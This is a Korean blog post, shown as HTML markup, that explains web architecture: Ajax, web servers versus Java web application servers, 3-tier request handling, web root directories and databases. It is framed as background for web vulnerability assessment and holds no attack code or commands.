&lt;p data-ke-size=&quot;size16&quot;&gt;웹 사이트 구조는 HTML, CSS, JavaScript 3요소로 구성되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹에 가독성 있는 인터페이스를 구성 = HTML, CSS 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동적인 인터페이스 구성 = JavaScript 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 일반적인 웹 사이트 구조는 웹 서버와 통신을 위해 HTML 태그를 사용하거나 JavaScript를 통해 통신이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;701&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9HSzf/btsKFqTus3C/e0iKKKz2mVgK7lf6pJjhz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9HSzf/btsKFqTus3C/e0iKKKz2mVgK7lf6pJjhz1/img.png&quot; data-alt=&quot;그림6 - 일반적인 웹 사이트 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9HSzf/btsKFqTus3C/e0iKKKz2mVgK7lf6pJjhz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9HSzf%2FbtsKFqTus3C%2Fe0iKKKz2mVgK7lf6pJjhz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1416&quot; height=&quot;701&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;701&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - 일반적인 웹 사이트 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘날의 웹 사이트 구조는 이전의 구조에 비해 큰 변화를 가지고 왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ajax라는 기술로써 페이지 동기화 필요 없이 서버에 요청/응답을 받아 페이지 재구성(렌더링)이 가능해졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 웹 패러다임을 전환하는 기술로써 현재 많이 사용되고 있다. 또한 백엔드 측에 부하율을 낮출 수 있기 때문에 트래픽이 많이 발생되는 웹 사이트의 경우 Ajax 기술을 적극적으로 사용하고 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1436&quot; data-origin-height=&quot;578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2K63w/btsKH1mf47p/ilAmFj8RRlUGfd8NUqFIHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2K63w/btsKH1mf47p/ilAmFj8RRlUGfd8NUqFIHk/img.png&quot; data-alt=&quot;그림7 - Ajax 기반 웹 사이트 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2K63w/btsKH1mf47p/ilAmFj8RRlUGfd8NUqFIHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2K63w%2FbtsKH1mf47p%2FilAmFj8RRlUGfd8NUqFIHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1436&quot; height=&quot;578&quot; data-origin-width=&quot;1436&quot; data-origin-height=&quot;578&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - Ajax 기반 웹 사이트 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ajax 란? 자바스크립트를 이용해서 비동기적(Asynchronous)으로 서버와 브라우저가 데이터를 교환할 수 있는 통신 방식을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 웹 사이트 구조 = 서버로부터 웹 페이지가 반환되면 화면 전체를 갱신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Ajax 기반 웹 사이트 구조 = 갱신에 필요한 일부만 로드하여 갱신&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 전체를 로드하여 렌더링할 필요가 없으므로 빠른 퍼포먼스와 부드러운 화면 표시 효과가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Ajax 기반 웹 사이트 진단&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ajax 기반의 웹 사이트라고 해서 진단 방법이 달라지는 것은 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청과 응답의 행위는 동일하게 하기 때문이다. 그러나 이 과정에서 컨텐츠 타입(Content-Type)이 달라 당황하는 경우가 있는데 전혀 그럴 필요가 없다. 응답 컨텐츠의 경우 HTML이 아닌 xml, json 타입이라도 인터페이스를 구성하는 데이터로 사용되기 때문에 JavaScript를 분석 후 알맞게 데이터 변조를 하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;636&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfFuOe/btsKGYKN8i4/zbMK5epR70AiTdO096DFjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfFuOe/btsKGYKN8i4/zbMK5epR70AiTdO096DFjK/img.png&quot; data-alt=&quot;그림8 - Ajax 기반 웹 사이트 진단&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfFuOe/btsKGYKN8i4/zbMK5epR70AiTdO096DFjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfFuOe%2FbtsKGYKN8i4%2FzbMK5epR70AiTdO096DFjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1430&quot; height=&quot;636&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - Ajax 기반 웹 사이트 진단&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ajax 기반 웹 페이지 진단 시 응답값 내 flag의 N을 Y로 변조 후 페이지 출력을 확인하는 등의 방법을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;웹 서버 그리고 웹 어플리케이션 서버&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버는 클라이언트 자원 요청에 따른 웹 서비스를 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버의 종류는 아파치, IIS, Nginx, WebtoB, Oracle HTTP Server 등이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JAVA Web Application 환경의 경우 웹 서버와 웹 어플리케이션 서버를 분리하여 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버 = 정적인 컨텐츠 자원 제공 &amp;rarr; 이미지, 텍스트 파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 어플리케이션 서버(WAS) = 동적인 컨텐츠 자원 제공 &amp;rarr; jsp, .do&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2개의 서버를 사용하여 자원 처리에 효율적이며 유연한 서비스 제공을 목표로 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1159&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMtvxm/btsKIbIUHYq/mADMKTlYD7RlJ3qIuNf93K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMtvxm/btsKIbIUHYq/mADMKTlYD7RlJ3qIuNf93K/img.png&quot; data-alt=&quot;그림9 - 2-Tier와 3-Tier 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMtvxm/btsKIbIUHYq/mADMKTlYD7RlJ3qIuNf93K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMtvxm%2FbtsKIbIUHYq%2FmADMKTlYD7RlJ3qIuNf93K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1159&quot; height=&quot;260&quot; data-origin-width=&quot;1159&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - 2-Tier와 3-Tier 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 서버 동작 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 측에서 웹 서버에 요청 메시지를 보내면 웹 서버는 요청된 자원 유/무를 검토하여 클라이언트 측에 응답 메시지에 실어 보낸다. 이때 웹 서버 측에서는 어떤 동작 원리로 클라이언트가 요청한 자원을 호출할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버에 index.jsp라는 자원이 있는데, 어느 경로에 있는 index.jsp를 찾는 걸까?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I6KFQ/btsKHInh01t/inEvBebeXIGPC4hmYLzNN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I6KFQ/btsKHInh01t/inEvBebeXIGPC4hmYLzNN0/img.png&quot; data-alt=&quot;그림10 - 웹 서버 동작 원리 분석(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I6KFQ/btsKHInh01t/inEvBebeXIGPC4hmYLzNN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI6KFQ%2FbtsKHInh01t%2FinEvBebeXIGPC4hmYLzNN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;975&quot; height=&quot;483&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;483&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - 웹 서버 동작 원리 분석(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1510&quot; data-origin-height=&quot;773&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO5vvK/btsKIVr7HuS/Cpy6aixKmT9es4qpJXkAL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO5vvK/btsKIVr7HuS/Cpy6aixKmT9es4qpJXkAL0/img.png&quot; data-alt=&quot;그림11 - 웹 서버 동작 원리 분석(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO5vvK/btsKIVr7HuS/Cpy6aixKmT9es4qpJXkAL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO5vvK%2FbtsKIVr7HuS%2FCpy6aixKmT9es4qpJXkAL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1510&quot; height=&quot;773&quot; data-origin-width=&quot;1510&quot; data-origin-height=&quot;773&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - 웹 서버 동작 원리 분석(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;웹에서 호출할 수 있는 자원이 있는, 웹 디렉터리&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리가 URL로 서버에 자원을 요청하는 것들은 웹 서버에 어떠한 설정된 경로로 인해 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 웹 서버에서 바라보는 경로를 웹 디렉터리, 웹 루트, 도큐먼트 루트 등으로 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 설정 파일은 파일 다운로드/업로드 취약점 공격 시 많이 활용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 웹 디렉터리를 설정하는 파일은 파일 다운로드/업로드 취약점 공격에 많이 활용됨.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bopxmy/btsKHdgLUFk/JLKtQcz5GdkrZ8ohPlzK30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bopxmy/btsKHdgLUFk/JLKtQcz5GdkrZ8ohPlzK30/img.png&quot; data-alt=&quot;그림12 - 웹 디렉터리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bopxmy/btsKHdgLUFk/JLKtQcz5GdkrZ8ohPlzK30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbopxmy%2FbtsKHdgLUFk%2FJLKtQcz5GdkrZ8ohPlzK30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1302&quot; height=&quot;608&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - 웹 디렉터리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;JAVA Web Application 환경의 3-Tier 구조 동작 원리&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 측에서 정적 자원을 요청할 경우 웹 서버 측에서 처리 후 응답 메시지를 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;537&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sA9O3/btsKIPS1Yab/uIw0XQ2J4Yb23g1Oh1AtSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sA9O3/btsKIPS1Yab/uIw0XQ2J4Yb23g1Oh1AtSK/img.png&quot; data-alt=&quot;그림13 - 정적 자원 요청 시 3-Tier 구조 동작 원리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sA9O3/btsKIPS1Yab/uIw0XQ2J4Yb23g1Oh1AtSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsA9O3%2FbtsKIPS1Yab%2FuIw0XQ2J4Yb23g1Oh1AtSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1176&quot; height=&quot;537&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;537&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - 정적 자원 요청 시 3-Tier 구조 동작 원리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동적 자원을 요청할 경우 웹 서버는 웹 어플리케이션 서버로 포워딩(Forwarding)하며, 웹 어플리케이션 서버에서 이를 받은 후 어플리케이션 로직에 따라 처리 후 응답 메시지를 사용자에게 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약, 로직 상에 데이터베이스 질의 과정이 있을 경우 데이터베이스와 연결을 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQsPq5/btsKIzbOqyb/6baVnLK9u4zdnXaOCXCYE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQsPq5/btsKIzbOqyb/6baVnLK9u4zdnXaOCXCYE1/img.png&quot; data-alt=&quot;그림14 - 동적 자원 요청 시 3-Tier 구조 동작 원리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQsPq5/btsKIzbOqyb/6baVnLK9u4zdnXaOCXCYE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQsPq5%2FbtsKIzbOqyb%2F6baVnLK9u4zdnXaOCXCYE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1166&quot; height=&quot;586&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - 동적 자원 요청 시 3-Tier 구조 동작 원리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;JAVA Web Application 환경의 WS/WAS 구성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버와 웹 어플리케이션은 논리적인 구성과 물리적인 구성으로 분리된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk1qbi/btsKI16MjIw/znpupryOFBT3weU5U41zF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk1qbi/btsKI16MjIw/znpupryOFBT3weU5U41zF0/img.png&quot; data-alt=&quot;그림15 - JAVA Web Application 환경의 WS/WAS 구성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk1qbi/btsKI16MjIw/znpupryOFBT3weU5U41zF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk1qbi%2FbtsKI16MjIw%2FznpupryOFBT3weU5U41zF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1260&quot; height=&quot;417&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - JAVA Web Application 환경의 WS/WAS 구성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분 하나의 회사에서 제공되는 웹 서버와 웹 어플리케이션 서버를 쌍으로 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가격면이나, 설치, 유지보수 등 대응면에서 훨씬 효율적이기 때문이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bflINi/btsKI2LnjT6/Bz8Uukpc46CEpSmj9hZU2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bflINi/btsKI2LnjT6/Bz8Uukpc46CEpSmj9hZU2K/img.png&quot; data-alt=&quot;그림16 - 웹 서버와 웹 어플리케이션 조합&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bflINi/btsKI2LnjT6/Bz8Uukpc46CEpSmj9hZU2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbflINi%2FbtsKI2LnjT6%2FBz8Uukpc46CEpSmj9hZU2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;965&quot; height=&quot;437&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림16 - 웹 서버와 웹 어플리케이션 조합&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WAS는 정적인 자원을 처리하지 못할까?!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;처리 가능하다!&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 왜 굳이 WS와 WAS로 분리 하였을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr;&amp;nbsp; 업무 분담을 하여 자원 처리에 대한 효율성을 극대화 하기 위해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;웹 서버와 웹 어플리케이션 서버를 분리하는 이유&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버는 정적 자원 처리에 대해 최적화가 되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 어플리케이션 서버는 동작 자원 처리에 최적화가 되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업무 분담을 하여 자원 처리에 대한 효율성을 극대화 시킨다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhtLgM/btsKIRJ6z9K/vuMGldS5VDckkWRr1mKSE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhtLgM/btsKIRJ6z9K/vuMGldS5VDckkWRr1mKSE1/img.png&quot; data-alt=&quot;그림17 - 웹 서버/웹 어플리케이션 서버 분리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhtLgM/btsKIRJ6z9K/vuMGldS5VDckkWRr1mKSE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhtLgM%2FbtsKIRJ6z9K%2FvuMGldS5VDckkWRr1mKSE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1202&quot; height=&quot;219&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;219&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림17 - 웹 서버/웹 어플리케이션 서버 분리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;데이터베이스&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스는 동적인 컨텐츠를 제공하기 위해 데이터를 저장해두는 저장소로 일반적으로 사용자 정보, 상품 정보, 커뮤니티 정보 등 수 많은 정보들이 저장되는 곳으로 게시판에 글을 쓰고 보고, 회원 가입을 하여 로그인을 할 수 있는 이유도 데이터베이스 때문이다.&lt;/p&gt;
